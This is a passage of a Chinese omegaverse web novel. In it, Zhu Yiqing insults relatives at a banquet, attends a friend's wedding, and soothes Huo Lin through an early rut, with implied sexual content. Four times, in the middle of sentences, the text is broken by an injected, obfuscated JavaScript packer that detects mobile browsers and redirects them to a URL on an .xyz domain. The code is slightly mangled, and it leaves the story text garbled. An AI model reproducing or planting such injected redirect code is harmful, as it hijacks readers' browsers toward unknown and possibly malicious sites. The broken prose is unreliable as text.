“不可以。爷爷年纪大了,好不容易办一次宴会,你不能迟到,也不能提前太久离场。”祝让承向他确认道,“你会来的对吧?” “我当然会去。”祝贻清皮笑肉不笑,“但是我不仅要迟到,我还要早退。他年纪大了关我什么事?生死由命,到点了就走他的黄泉路去。” 祝让承被他噎得说不出话,好半天才憋出一句:“你怎么能这么讲话……” 祝贻清毫不留情地挂断了电话。 他真是陪这群人演够了。 不过无所谓,祝老爷子不是对外说他不听话吗?既然罪名已经被安上了,那他要是不坐实了这个罪名,岂不是白白被冤枉了? 所以他要去,他当然要去。 他要去宴会里搅混水,搅个翻天覆地,把姓祝的老爷子气出心肌梗塞才好。 祝贻清收起手机,重新回到霍粼身边坐下:“一号那天中午,我有事要回祝家一趟。大概下午三点左右,你过来接我,可以吗?” “我去接你?”霍粼笑着问,“我是你的私人司机吗?你为什么觉得我会去接你?” “那你就自己先去魏祈南的婚礼,我到时候直接从祝家过去。”祝贻清还不忘安慰霍粼,“我会尽量不迟到的,你不要担心。” “?”霍粼一怔,“你就不再争取一下了吗?” 他倒也没有真的不想去接的意思,只是想听祝贻清多说几句好话。 “你不想来就不来,又不是什么大事,我尊重你的个人想法。”祝贻清有点累了,他站起身对霍粼说,“好了,我先回房间了。” 祝贻清走出几步,听见霍粼在他身后开了口:“地址发给我。” 短短五个字,像是下定了某种决心。 霍粼盯着祝贻清的背影,等omega给自己递一个台阶。 他跟祝贻清在一起这么久,还没去过祝家,去一次也未尝不可。不要误会,他只是图个新鲜而已,没有什么别的意思。 祝贻清语气平淡地说:“不用了。” 霍粼没想到祝贻清这么绝情,不给他递台阶就算了,甚至没有回头。 他觉得有点没面子,又气又恼,梗着脖子道:“不用最好,反正我是不可能去接你的,遇上什么事情你就自己想办法吧。” 祝贻清说:“好。” 他疑惑地想,霍粼是不是以为自己说的这几句话杀伤力很大,所以故意这么讲? 实际上0人伤亡。 - 一号中午。 宴会十一点开始,祝贻清十一点半才缓步进入祝家老宅的宴会厅。 祝让承最先看见他,连忙告诉祝老爷子:“爷爷,贻清来了。” 祝老爷子看见他,方才还和蔼可亲的面容一刹那阴沉下来:“迟到半个小时,你去哪儿了?还知道过来?” 祝贻清不卑不亢地笑了笑:“知道过来就不错了。” “你迟到就算了,现在这是什么态度?你妈就是这样教你规矩的?”祝老爷子身边的一个啤酒肚男人开口了。 祝贻清没见过他,猜测他大概是今天的来宾之一:“您是外人,可能不了解,我妈都死了快二十年了,祝海生没告诉您?” “你怎么直呼爷爷的大名?”祝让承拉了一下祝贻清的手腕,示意他稍微收敛一点,“这里这么多人看着,你别这样。” “就是啊。”有个烫了满头大波浪的女人端着高脚杯走近,言语轻佻,“你妈死了就是你在这里撒泼的理由?我告诉你,我可不止知道你妈死了,我还知道你妈是个小三,要不是她费尽心思勾引男人,怎么会落得这个下场?” 啤酒肚对当年的事情有所耳闻,附和道:“就是啊,她自己出车祸死了就算了,可她勾引祝老爷子唯一的儿子跟她坐一辆车,害得老爷子白发人送黑发人,真是死有余辜!” “是,她是有错,她该死。”祝贻清随手拿起一杯红酒,酒色衬得他的脸更加秾丽动人,“可是祝老爷子的儿子——我生物学上的父亲,他在有原配的情况下还在外面花天酒地,难道就一点错都没有?你们又何必替他洗白。” 既然两个人都不是什么好东西,那就一个都别想好过。 “你是小三的孩子,你当然会替你妈说话!”女人眉眼刻薄,“哦~我知道了,你以后肯定也是个做小三的料,不错啊,还得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896606|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你妈妈教得好。” “你怎么这么了解小三啊?是有工作经验吗?”祝贻清的手腕转了一圈,酒杯里的酒液缓慢回旋,“如果我没记错的话,刚刚就是你说我在撒泼?” “不是吗?我又没说错。”烫了大波浪的女人爽快承认了,“你就是在撒泼,没礼貌又没教养,除了一张跟你妈一样狐媚子的脸,其它的都一无是处!” “你说错了,刚才那不算撒泼。”祝贻清抬手,将杯子里的酒一滴不剩地泼到她脸上,“现在才是。” 女人尖叫一声,捂着脸跑开了。 祝贻清视线一转,朝啤酒肚男人飞过去一记眼刀:“还有你,你以为你跑得掉?” 啤酒肚男人皱起眉头:“你什么意思?” “没什么。”祝贻清往后退了一步,“我看见你还以为半扇猪肉站起来了呢,吓我一跳。”他的余光瞥见男人额头上豆大的汗珠,好心提醒,“叔,您还是擦擦汗吧,猪头肉注了水就不值钱了。” 啤酒肚男人僵在原地:“你简直不可理喻……” 祝让承倒吸一口凉气,试图打圆场:“清清,要不这样吧,你诚心跟大家道个歉,大家肯定都不会跟你计较的。” “差点忘记你了。”祝贻清看向他,笑容明媚,却让人不寒而栗,“哥,还是你这种人最有意思,总是在心里偷偷地记恨别人,又淡淡地原谅,但其实内心一整套戏下来,人家根本都不知道你在作什么妖。” “够了!”祝老爷子听了半天,被他气得吹胡子瞪眼,好半天才顺了气,他不悦地拍了一下桌子,“我要上楼休息一会儿,让承,你招待一下大家。” 祝让承点头说好。 “爷爷,你要睡了吗?”祝贻清唇边的笑意逐渐扩大,“太好了,您快去吧,希望不要有苏醒的风险。” “你!”祝老爷子拿起手边的茶杯,朝祝贻清的方向砸去。 祝贻清一个闪身,茶杯直接飞到了他身后的祝让承身上,砸得祝让承惊呼一声。 祝贻清毫不吝啬地笑出了声。 他两步逼近祝让承。 祝让承看见他脸上丝毫不减的笑意,禁不住打了个寒颤:“……你还想干什么?” “哥,你怕什么呀?”祝贻清无辜道,“虽然我今天说了你很多坏话,但我还是希望你不要内耗了,回房间休息一下吧。” 祝让承刚觉得祝贻清并非真的绝情,心里冒出来一点感动,就听见祝贻清继续开口说道:“你听我的话,把煤气打开,窗户关好,好好地睡一觉。” 祝让承:“………………” 周围的宾客:“………………” 祝老爷子忍无可忍:“祝贻清!你给我滚!” 祝贻清乖巧地说:“好的。” 他无视掉四周各种各样的目光,像打了一场胜仗,神清气爽地朝宴会厅的出口走去。 跨出宴会厅大门,祝贻清在心里给自己竖了个大拇指,然后在心里夸奖自己—— 祝贻清,你简直是个战神! 忽地,他的余光里出现了一道人影。 祝贻清转过头。 毫无防备地撞入了霍粼的眼睛。 12. 又争又抢 霍粼不是说他绝对不可能过来吗?! 他为什么来了? 祝贻清也不知道霍粼是什么时候来的、在外面站了多久、听见了多少自己的“精彩发言”。 想逃。 好想逃。 特别想逃。 祝贻清眼里闪过一丝后知后觉的尴尬:“你来多久了?听见多少了?” 真希望霍粼刚来。 一个字都没听清最好。 霍粼如实交代:“从你泼酒开始,后面的全都听见了。” 祝贻清沉默了:“…………” 那不就是一大半都听见了吗? 该说不说,他来得还真是恰到好处,前戏都没看见,一来就看到了这场大戏的高潮部分。 “你怎么来了?”祝贻清生硬地转移话题,“你不是说不来吗?” 霍粼本来是没打算来的。 他只是有点好奇祝家的地址,查地址时又一不小心得到了祝家要举办宴会的消息。 宴会上一定会有别的alpha。 万一有alpha对祝贻清见色起意怎么办?万一祝贻清来不及参加婚宴,随便找了个alpha送他过去怎么办?万一祝贻清为了感谢那个alpha,加了对方的联系方式怎么办? 霍粼暗戳戳地想,万一他们正好看对眼了,每天在手机上聊得热火朝天,祝贻清会不会越来越忽略他…… 祝贻清还会再给他送花吗?会不会没多久之后,那十三朵白玫瑰就出现在了别的alpha手上? 霍粼今天上午在家里坐立不安,他想去找祝贻清,又忘不掉自己跟祝贻清放过的狠话。 他怎么可能真的去找祝贻清? …… 转眼就到祝家了。 霍粼站在宴会厅门口,不好意思进去,也不知道应该怎么向祝贻清解释自己的行为。 但他也不愿意就这么走了,只能在门口踱步,直到他听见了祝贻清的声音。祝贻清似乎同时跟好几个人起了矛盾,他从没见过祝贻清这样的一面。 “问你话呢。”祝贻清重复道,“你不是说不来吗?” 霍粼的思绪被拉回,他硬着头皮撒谎:“我只是怕你迟到了。大家都知道我们之间有联姻协议,你不跟我一起入场的话,别人看见了会怎么想?” 两人并肩朝祝家的花园外走去。 “什么叫大家都知道?”祝贻清眉头微蹙,“除了我们两个人,还有谁知道?” 联姻协议从头到尾都是他和霍母共同胡诌的,专门用来骗霍粼的,要是传开了,后续恐怕不好收场。 “是我告诉他们的。”霍粼不疑有他,“这本来就是事实,有什么不能说的……祝贻清,你这是什么表情?你很不想让别人知道我们的关系吗?” “协议还没有履行,一切都还有变数。”祝贻清意有所指,“你其实不用那么早就告诉别人。” “能有什么变数?”霍粼急于反驳,“这个协议都三年了,还能有什么变数?” 祝贻清说不出话了。 他不能把事实告诉霍粼,只能保持沉默。 霍粼追问他:“你怎么不说话了?” “……是你之前一直说想取消协议。”祝贻清小声道,“说不定你哪天不高兴,就直接把协议取消了。” “就因为这个?”霍粼的脸色顿时好看了很多,“你放心,我没那么阴晴不定。” 祝贻清像小猫似的“嗯”了一声。 “你今天穿得好漂亮。”霍粼牵起祝贻清的手,omega的手软软的,柔若无骨,让他有些心猿意马了,“我有点想……” 祝贻清还以为他想干出什么伤天害理的事情,连忙抓住他的手腕:“霍粼!” “怎么了?”霍粼茫然地问,“抱一下都不行吗?” “…………”祝贻清笑叹一口气,“这个可以。” - 他们准时抵达了魏祈南的婚礼现场。 魏祈南满面春风,正站在婚宴入口跟每一位来宾打招呼。 他看见霍粼和祝贻清,眼神一亮,几步迎了上来:“你们来了!”他的目光落在祝贻清身上,“嫂子,好久不见了。我昨天跟桉桉说你会来,他特别高兴。你可能不知道,桉桉之前见过你一次之后,就一直很期待再见你一面。” 他口中的桉桉是言桉,也就是他爱人。 祝贻清闻言,只觉得意外:“他想见我?为什么?” “喜欢你,想跟你做朋友吧。”魏祈南笑着说,“可能也有点好奇霍粼会跟什么样的人谈恋爱。”他压低了声音,“毕竟我们都觉得霍粼不像是会喜欢谁的样子。” 霍粼听不下去了,像是深埋的心思被察觉,他不自在地反驳:“谁说我喜欢他?” 祝贻清也面不改色地附和道:“我跟他没有在恋爱。” “嫂子,你别听他胡言乱语……”魏祈南的额头上冒出一层汗,此时他真想堵住霍粼的嘴,“对了,我已经跟桉桉说好了,待会儿扔手捧花的时候,就往你们的方向扔。” 手捧花意味着幸福的传递。 “说不定下次就是我来参加你们的婚礼了。”魏祈南给霍粼使了个眼色,“你说是吧?毕竟你们的协议都签了那么久了,你们俩肯定也快了吧。” 霍粼用余光偷偷去看祝贻清,但祝贻清还是那副淡淡的表情,似乎正在被谈及的话题跟他毫无关系。 霍粼故意问他:“你觉得呢?” “我也说不准。”祝贻清问,“你很想跟我结婚吗?” 他算准了霍粼一定会否认。 “怎么可能!”霍粼果然说,“我怎么可能想跟你……” 祝贻清轻声笑了,一双桃花眼弯起来,美得不可方物。 霍粼看得一愣,他的声音逐渐变小,最后不说话了。 “谢谢你。”祝贻清不想辜负了魏祈南的好意,他对魏祈南道,“手捧花我会接的。祝你们新婚快乐。” “没事,嫂子,你跟我客气什么。”魏祈南摆摆手,“那你们先随便逛逛,我还得去跟其它客人打声招呼。” 等魏祈南走远了,霍粼拉住祝贻清的手腕,状似无意地问:“你知道接到手捧花意味着什么吗?一般来说谁接到了,谁就会是下一个结婚的人。” “我知道。”祝贻清并不在意,“但是手捧花也代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896607|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好运,我单纯想要好运气而已。” 霍粼也不清楚自己究竟想听什么,他只清楚祝贻清说的这几句话并不是他想听的。他的五指缩紧了些,握着祝贻清手腕的力气不减反增。 omega手腕很细,抓在手心里没什么份量,仿佛不小心用一点力就会被轻易折断。 霍粼问:“就这样?” 祝贻清反问道:“你还想听什么?”他注意到霍粼手上的力气松了许多,立即挣开了他的手。 霍粼手中一空,属于omega的温热消失了,他下意识里还想去牵。 可下一秒,omega的手又搭在了他的肩膀上。 “结不结婚很重要吗?”祝贻清轻声开口,“我喜欢你难道还不够吗?” 好有道理。 霍粼所有的脾气和不满瞬间偃旗息鼓。他觉得祝贻清说的简直就是世间真理,没有任何问题。 ……祝贻清说喜欢他,亲口说的。 前几天不是还藏着心思送13朵玫瑰花吗,怎么今天突然表现得这么明显了? 霍粼自己思索了半天,想通了。 肯定是祝贻清看见魏祈南和言桉的婚礼,触景生情,有点羡慕了。他早就听别人说过了,omega越表现得不在意,就说明他越在意。 那祝贻清说结不结婚不重要,不就恰恰说明他觉得结婚很重要吗? 霍粼对祝贻清说:“我都知道了。” 祝贻清:“?” 真是莫名其妙。 魏祈南给他们安排的位置在第一排。 台上的司仪在讲话的时候,祝贻清看似在认真听讲,实际上思绪已经飘走了。 他刚刚随手拿了一颗喜糖,特别好吃,还想吃。 是在哪里拿的来着……祝贻清冥思苦想,然而死活都想不起来了,最后心如死灰。 一旁的霍粼看祝贻清一直盯着台上,表情从头到尾都没有变化,还以为他看入神了,甚至到了痴迷的地步,更加笃定了自己的猜想—— 祝贻清绝对想跟他结婚了。 “在这个特别的日子里,新人收获了大家的祝福,现在他们也有一份特别的礼物要回馈给大家,就是这束手捧花。” 祝贻清听见司仪的串词,回过神来。 司仪喜气洋洋地号召起来:“接下来有请我们台下未婚的朋友们都站起来,看谁能接到这份好运,将今天的幸福延续下去。” 大家纷纷站了起来,聚在了台下。 台上的言桉回过头,匆忙找了一下霍粼和祝贻清在哪,然后给魏祈南使了个眼色。 魏祈南得到示意,开始倒数:“三!二!一!” 言桉背对着众人,朝身后丢出手捧花。 说好会接花的祝贻清,视线盯着花在空中画出一道完美的弧线,全程没有伸手去接。 一早就说不接的霍粼,却看准了抛物线,仗着自己身高手长,又争又抢,眼疾手快地把手捧花从空中捞到了怀里。 抢到了! 霍粼长舒一口气。 “不是……”他边上的小姑娘没想到他身手这么好,看呆了,“至于吗?你就这么想要啊?” 13. 小心翼翼 霍粼拿到花,故意碰了下祝贻清的手臂,得意地说:“你怎么没抢到啊?我抢到了。” 祝贻清脸上挂着浅淡的笑意:“那你很厉害。” 霍粼在心里暗爽,他把手里的花塞到祝贻清手里,努力压下嘴角的弧度:“其实我也没那么想要,你喜欢就先拿着吧。” 祝贻清捧着花说:“谢谢你。” 霍粼不知足:“就这样吗?” 祝贻清只好无奈地凑近他,悄悄在他耳边说:“喜欢你。” 时间久了,这三个字他已经可以毫无心理负担地说出来。哄骗霍粼的同时他也在哄骗自己。 “你别用这种眼神看着我。”霍粼红了耳朵尖,“我可不喜欢你。” “没关系。”祝贻清说,“只要你不要讨厌我就好。” 只要霍粼不讨厌他,他就可以一直留在霍粼身边为他进行疏导,直到他的病症完全消失。 宴会厅中人潮汹涌,霍粼无意间瞥见一道身影。 他马上转头对祝贻清说:“我看见了我们公司的供应商,正好我找他有点事。你在这里等我一会儿,我过去讲几句话,很快就回来。”霍粼估量着时间,向他承诺,“最多二十分钟。” “去吧。”祝贻清点点头。 目送霍粼离开,祝贻清在甜品区取了两块糕点,吃的时候顺便研究了一下糕点做法。 等他折腾完这两块糕点,时间已经过去了半小时,但霍粼还没有回来。 不是说最多二十分钟吗? 祝贻清暗自嘀咕一声,他想给霍粼打电话问一下,又想起之前打电话被霍粼说多管闲事。 ……还是算了吧。 祝贻清果断地放下了手机。 他只应该在霍粼需要他的时候出现,其他时候还是不要过多插手为好。 毕竟霍粼跟他没有确立什么实际性的关系,没有事事报备都跟他的必要。 在祝贻清暗自斟酌的时候,有个alpha不知何时来到了他的身边,轻咳一声,以便引起他的注意:“你就是祝贻清?” 祝贻清抬起头,并不记得自己见过这号人物:“你是?” “粼哥呢?” 原来是来找霍粼的。 祝贻清热心地告诉他:“霍粼有点事要办,过一会儿就回来了。你可以在这里跟我一起等他。” “原来他把你一个人丢在这里了。”alpha在祝贻清对面坐下,表情玩味,“你该不会以为他真的会回来找你吧?粼哥又不喜欢你,你像个狗皮膏药似的黏着他,有什么意义?” 他试图从祝贻清脸上找到一丝表情变化,可惜失败了。 祝贻清的脸色冷冰冰的,皮肤白得惊人,风轻云淡的气质透着高不可攀,仿佛跟旁人多说一句话都算跌落神坛了。 “我之前就听粼哥说过,他喜欢年龄比他小的omega,年龄小的更年轻,还长得更漂……”alpha看着祝贻清的脸,美得相当客观,他实在说不出“更漂亮”三个字,到嘴边的话忽然就卡壳了,悻悻道,“反正他不喜欢你这样的。” “我知道他不喜欢我,我跟他本来就没结果。”祝贻清笑意凉薄,“我很好奇,你到我面前来说这些的意义是什么?” alpha支吾着说不出话。 忽然,祝贻清的手机振动了一下。 他低头一看,居然是霍粼来电。 “喂?” 祝贻清等了十秒。 这十秒内,霍粼一声没吭。 祝贻清怀着满腹狐疑,试探性地问:“你在听吗?怎么了?” 电话那头的alpha终于开了口,只不过嗓音喑哑,言语间像是受了莫大的痛楚。 他委屈地喊:“……老婆,你是不是不要我了?” 一瞬间,祝贻清受到了极大的冲击。等他缓过神来,很快便意识到霍粼的易感期到了,只有易感期时alpha才会表现得离不开他。 虽然他不知道霍粼易感期提前的原因,但他现在必须过去找霍粼,避免易感期时心灵脆弱的alpha出什么意外。 “你在哪里?”祝贻清站起身,“我现在过去。” “我在休息室,我一直在等你。”说到这里,霍粼变得更难过了,“我是不是做错事让你不开心了?你为什么一直不来找我?我好想你,我特别想你……” 他的声音越来越低,连抱怨都不敢,生怕祝贻清一个不高兴,就不再管他了。 ……到底是谁在等谁。 不过祝贻清不想跟神志不清的alpha计较太多,他温声道:“我去找你。” 祝贻清对面的alpha发现他准备离开了,觍着脸问:“你要去哪儿?你不是说要等粼哥吗?” 祝贻清冷声道:“我去偷情。” “你……”alpha惊呆了,磕磕巴巴地说,“我会告诉粼哥的,你完蛋了……” “那太好了。”祝贻清说,“你一定要告诉他。” 电话一直都没有挂断。 那头的霍粼迷迷糊糊的,只听见祝贻清说要来找他之后,又跟别人聊了起来。 他不太清醒,隐隐约约听见了自己的名字,以及偷情。 霍粼被吓得睁大眼睛。 “老婆?”霍粼小心翼翼地喊,“老婆,你还在吗?” 祝贻清没有第一时间回应他。 霍粼快要急哭了。 “你还在听吗?”霍粼提迫切地想让omega把精力都放在自己身上,“你要去哪里?你不要跟别人走,不要理别人……你别丢掉我,老婆,你理理我,我好难受……” “我在。”祝贻清加快脚步,“你乖乖等我一下,我马上就到,你不要吵。” 霍粼马上压低了音量:“那我不说话了,你别生气……” 尽管霍粼并没有告诉祝贻清是哪间休息室,但他走到贵宾休息区时,看见好几个人焦急地围在一扇门外喷阻隔喷雾,他顿时就明白了。 “霍粼是不是在这里?”祝贻清靠近那扇门,问周围的几个人,“他现在什么情况?” “信息素失控了。”好心人也给他喷了点阻隔喷雾,“你一个omega还是小心一点吧,最好不要靠近他了。” “里面具体是什么情况我们也不知道,这休息室太隔音了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896608|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,什么都听不见。” “我已经让人去通知祈南了,等他来了再看怎么办吧。” “我知道了。”祝贻清握上门把手,“我先进去看看吧,等魏祈南来了,让他先联系我。” 三个人还没看清他的身影,只见他一闪身,一瞬间,就从他们眼前消失了。 房门重新关上,就好像从来没有被人打开过一样。 休息室内。 柠檬金酒的气味铺天盖地地压下来,祝贻清被淹得腿软。 他扶着门板,深呼吸了好几口气,非但没有缓解,反而被alpha的高浓度信息素浸得更透彻了。 祝贻清在门口摸索一番,打开了屋内的空气净化系统。 然而空气净化系统只能让他暂时舒服一点,如同隔靴搔痒,真实效果聊胜于无。 想阻止信息素进一步蔓延,当务之急是尽快安抚霍粼。 “……老婆?”休息室里面的房间里,一道声音试探性地传来,“是你吗?” 祝贻清循声朝屋内走去:“霍粼?” 休息室里面有一间卧室,不出意外的话,霍粼应该就在里面。 祝贻清还没走近卧室,里面就猛地扑出来一个alpha,发了疯似的搂着他的腰,把他按在墙上,粗暴地在他颈边拱来拱去。 祝贻清偏过头,心跳得很重:“霍粼……” 霍粼的手从他的后腰往下滑,随后灵巧地探进他的衣摆。 alpha的指腹有点薄茧,他用力掐着omega的腰、摩挲着omega的腰窝,像在把玩什么宝物。 祝贻清被霍粼完完全全地压在alpha与墙壁的夹角之间,满心惊惶失措。 霍粼像在拆吞猎物的狼狗,恨不得将omega拆吃入腹。 他的力气稍微大一点,祝贻清的皮肤立即就会浮现出红痕,看起来可怜得要命。 “你好娇气。”霍粼说完,抑制不住地一路从祝贻清的肩颈吻到下巴,最后话音落在他的耳边,“……好喜欢你。” 祝贻清的眼里泛着水色,脸上显露出被人摧折后的脆弱。 他倔强地抬起桃花眼,整个人都蕴着一股让人欲罢不能的媚态:“别说这种话。” 霍粼明明就不喜欢他,为什么要讲这些容易让人曲解的话。 还好是他,换作别人,恐怕真的会被霍粼一时半刻的糖衣炮弹哄得找不着北。 霍粼哪有时间思考祝贻清为什么要对他说这种话,他被祝贻清的一个眼神勾走了魂,忘记了回答。 他贴在祝贻清颈侧,贪婪地感受omega给予他的安抚信息素,却怎么都觉得不够,身体的燥热根本不得缓解,甚至好像愈演愈烈了…… 祝贻清也不是傻子,他能感受到alpha炙热的欲望。 霍粼无法自控,绝望地请求:“老婆,我能不能贴贴你……” “什么?”祝贻清一愣,没想到他说得这么直白。 “我想贴贴你……”霍粼的手不安分地游走,抚过祝贻清白皙细腻的肌肤,哀声道,“你离我近一点好不好?我好难受……老婆,你疼疼我,求求你了……” 14. 予取予求 祝贻清被霍粼吻得轻喘,他无法拒绝,只能做出最后的挣扎:“去床上……” 霍粼一把抱起祝贻清,让他迅速腾空。 祝贻清下意识用腿夹住了他的腰。 “霍粼!” 霍粼抱着他往房间里走:“别动,夹紧一点。” 祝贻清被柠檬金酒的气息包裹,他恍然察觉到自己似乎真的醉了。 浓烈的alpha信息素在渐渐蚕食他的理智,欲海拉扯着他的意识不断下沉。他能感受到霍粼将他压在了床上,动作因为急切而不得章法。 “你为什么跟别人说话?”霍粼的手摩挲过祝贻清的小腹,一路向上,“别人很好吗?别人有我好吗?你不许跟别人走,不许……” 霍粼说着,仿佛已经被人抛弃:“你说,你说我什么都特别好,你快点说。” 祝贻清被他弄得浑身颤栗,但还在故意装傻:“……我什么都特别好。” 意料之外,霍粼没觉得祝贻清是在跟他作对。 他俯身,虔诚地吻在祝贻清胸口的小痣上:“你就是什么都特别好。” 霍粼问:“你会永远陪着我吗?” “会的。”祝贻清的谎话张口就来,“只要你还需要我,我会一直陪着你的。”他安抚地摸摸霍粼的发顶,“我没有别人,也不会跟别人走。” 这话落入霍粼耳朵里,简直跟表白没有什么区别。 alpha明显变得更兴奋了,开始肆无忌惮地蹭祝贻清。 一切都宛若一场掀起巨浪的海啸,祝贻清身陷其中无法自拔。 霍粼一点力气都没收,横冲直撞。 祝贻清被他蹭得眼泪都流了下来,水光盈盈的漂亮眼睛一眨一眨,眼下的潮红还未褪去,潋滟的艳色就浮在明面上。 好在霍粼的信息素都释放出来了,不会再突然大规模地爆发。 祝贻清总算松了一口气,对霍粼说:“抱抱。” 易感期的alpha异常听话,尤其是吃饱喝足的alpha。 霍粼像一条乖顺的小狗,迫不及待钻进祝贻清怀中。 他偏过头,看见自己在祝贻清腺体上留下的牙印,餍足地眯起眼睛:“老婆,你好香……” 祝贻清骂道:“骗子。” 他的信息素几乎没有气味,只有聚精会神才能找出一点清新浅淡的香气,稍一不注意就又嗅不到了。 “我没骗你。”霍粼不满地说,“我说真的。” 祝贻清还记得要跟魏祈南报个平安,他翻找出手机,果然看见了魏祈南给他发了消息,问他现在情况如何。 [只是霍粼的易感期提前了而已,现在已经没事了。] [能不能麻烦你送一瓶抑制喷雾过来?我想趁他现在还清醒,先带他回去,我担心他的信息素再失控一次,实在不好意思。] 魏祈南办事很靠谱。 [我早就放在休息室门口了,你打开门就能拿到。] [没关系啊嫂子,你们先回去吧,有事随时给我打电话。] “你在跟谁聊天?”霍粼的声音从身后传来,随后alpha的双手像幽灵一样从后背缠上了祝贻清,“你不是说你没有别人吗?” “本来就没有别人。”祝贻清匆忙转移话题,“你现在好一点了吗?你要是好一点了,我们就先回家好不好?” 易感期的alpha非常好哄,祝贻清软着嗓子哄了霍粼两句,霍粼马上答应了回家。 祝贻清给霍粼喷了大剂量的抑制喷雾,又给他后颈的腺体上贴了强效阻隔贴,才放心地带着他从宴会厅后门离开了。 夏季雨水多,他们到家时,天色毫无征兆地暗了下来,忽而下起瓢泼大雨。 霍粼黏黏糊糊地抱住祝贻清:“老婆,我还是难受……” 祝贻清被抱得喘不过气,他的余光瞥见落地窗边的三角钢琴,窗外绿枝的影子透过窗户倒映在钢琴上,轻轻摇曳着。 “我给你弹琴好不好?”祝贻清没有推开膏药似的alpha,只是一味地纵容,“你可以坐在我旁边挨着我。” 霍粼满耳只听见了后面三个字,满足地点点头。 舒缓的琴音徐徐流淌在空气中,伴随着窗外淅沥的雨声、昏黄的灯光、以及omega身上独一无二的香气,霍粼从没这么惬意过。 他轻轻闭上眼睛,安静地把头靠在祝贻清肩膀上,他的手放在omega的大腿上,时不时要轻轻捏一把omega大腿根滑嫩的软肉。 “别乱动了。”祝贻清无奈地开口,“你这样我弹不好的。” “没关系,都好听。”霍粼对艺术没有什么追求,只想和祝贻清贴得更近一点,“我想听你说喜欢我,你能不能再说一次?” “你说曲子吗?”祝贻清假装自己空耳听错了,文不对题地答道,“是巴赫的d小调协奏曲第二乐章。” “不是。”霍粼不满地在他的肩头蹭了蹭,“你快点说你喜欢我,你最爱我,你离不开我。” 祝贻清的手指停在琴键上,乐音戛然而止,四周仅剩下窗外的雨声。 “我喜欢你。”祝贻清有意略过了后面的两句话,他的目光定定地落在五线谱上,轻声呢喃,“……霍粼,你快点好起来吧。” alpha用言语构建的蜜罐不会让他迷失方向,他很清楚他们之间不应该存在任何真情。 事情需要尽快走向正轨,而走向正轨的枢纽是霍粼的信息素紊乱症。 只要能治好霍粼,他们就再也不用维护这段虚假的联姻关系了。 等到那时候,他也不必再欺骗霍粼了。 - 霍粼的易感期持续了整整三天。 祝贻清也就不分昼夜地陪了他三天,予取予求,到最后已经精疲力竭。 易感期的作用逐渐褪去,霍粼的意识彻底清醒过来,他粘人的一面也随之消失不见。 不过他基本记得易感期时发生的所有事,也记得是祝贻清一直哄着他、陪着他。 想到这些,霍粼心情不错。 “你下周六或者周日有空吗?”霍粼压下心里跃动的期待,故作不经意地问,“好久没去马场了,我们找个时间去骑马怎么样?你坐在我前面就行,我可以带着你兜风。” 他生怕祝贻清察觉他隐晦的心思,多嘴解释道:“其实我也没有特别想让你跟我去,只是问问你而已,你要是不去的话,我就找别人陪我去了。” 霍粼说完,立刻斜着眼睛偷瞄祝贻清的神情,希望祝贻清听见他要带别人去之后能有点危机感,主动提出要跟他一起去。 毕竟祝贻清那么喜欢他,怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896609|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能会允许他跟别人一起亲密地骑马。 “那你找别人去吧。” 霍粼闻言,嘴角的笑意差点没压下去。 他就知道祝贻清不愿意他跟别人太亲密…… 等一下,祝贻清刚才说什么? 霍粼顿时变了脸色。 “你说什么?”霍粼严重怀疑自己听错了,“你再说一遍。” 祝贻清如他所愿,重复了一遍:“我说我不去,你找别人吧。” 霍粼如遭雷劈,艰难地吐出三个字:“……为什么?” “因为周末店里的人流量很大,我总不能让林周一个人做所有事情吧。”祝贻清大度地说,“你找别人去玩吧,不用管我。” 霍粼没想到他真的不打算去,又急又气:“你就不怕我带着别的omega骑马吗?你怎么知道我说的别人不是omega?” 就算他跟别的omega都不熟,根本不会约别的omega,他也要说这话去刺激祝贻清。 他才不想到时候灰溜溜地约魏祈南去马场! 他跟魏祈南去有什么意义? 更何况魏祈南新婚燕尔,恐怕这两周根本没空陪他出去潇洒。 “没关系。”祝贻清云淡风轻地说,“omega也没关系。” 